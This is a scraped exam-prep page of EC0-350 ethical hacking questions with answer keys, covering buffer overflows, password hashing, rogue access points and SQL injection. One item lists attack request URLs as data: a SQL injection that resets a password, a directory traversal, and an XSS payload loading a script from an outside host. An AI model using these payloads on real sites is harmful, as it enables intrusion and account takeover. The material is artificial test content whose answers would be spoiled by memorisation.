QUESTION: 13

Which of the following built-in C/C++ functions you should avoid to prevent your program from buffer overflow attacks?

strcpy()
strcat()
streadd()
strscock()

Answer(s): A,B,C

Explanation:

When hunting buffer overflows, the first thing to look for is functions which write into arrays without any way to know the amount of space available. If you get to define the function, you can pass a length parameter in, or ensure that every array you ever pass to it is at least as big as the hard-coded maximum amount it will write. If you're using a function someone else (like, say, the compiler vendor) has provided then avoiding functions like gets(), which take some amount of data over which you have no control and stuff it into arrays they can never know the size of, is a good start. Make sure that functions like the str...() family which expect NUL-terminated strings actually get them - store a '\0' in the last element of each array involved just before you call the function, if necessary. Strscock() is not a valid C/C++ function.

Reveal Solution Next Question

QUESTION: 13

Bob is a Junior Administrator at ABC Company. He is installing the RedHat Enterprise Linux on his machine. At installation time, he removed the “Use MD5” options. What will be the hashing standard?

MD2
DES
3DES
RSA

Answer(s): B

Explanation:

crypt() will return an encrypted string using the standard Unix DES-based encryption algorithm or alternative algorithms that may be available on the system. By removing the “Use MD5” option Bob forces crypt() to revert to DES encryption.

Reveal Solution Next Question

QUESTION: 13

In order to attack a wireless network, you put up an access point and override the signal of the real access point. As users send authentication data, you are able to capture it. What kind of attack is this?

Rouge access point attack
Unauthorized access point attack
War Chalking
WEP attack

Answer(s): A

Explanation:

The definition of a Rogue access point is:
1. A wireless access point (AP) installed by an employee without the consent of the IT department. Without the proper security configuration, users have exposed their company's network to the outside world.
2. An access point (AP) set up by an attacker outside a facility with a wireless network. Also called an "evil twin, " the rogue AP picks up beacons (signals that advertise its presence) from the company's legitimate AP and transmits identical beacons, which some client machines inside the building associate with.

Reveal Solution Next Question

QUESTION: 13

Identify SQL injection attack from the HTTP requests shown below:

http://www.victim.com/example?accountnumber=67891&creditamount=999999999
http://www.xsecurity.com/cgiin/bad.cgi?foo=..%fc%80%80%80%80%af../bin/ls%20-al
http://www.myserver.com/search.asp?lname=smith%27%3bupdate%20usertable%20set%20passwd%3d%27hAx0r%27%3b--%00
http://www.myserver.com/script.php?mydata=%3cscript%20src=%22http%3a%2f%2fwww.yourserver.c0m%2fbadscript.js%22% 3e%3c%2fscript%3e

Answer(s): C

Explanation:

The correct answer contains the code to alter the usertable in order to change the password for user smith to hAx0r

Reveal Solution Next Question

Free EC0-350 Exam Braindumps (page: 65)

QUESTION: 13

Explanation:

QUESTION: 13

Explanation:

QUESTION: 13

Explanation:

QUESTION: 13

Explanation:

EC0-350 Exam Discussions & Posts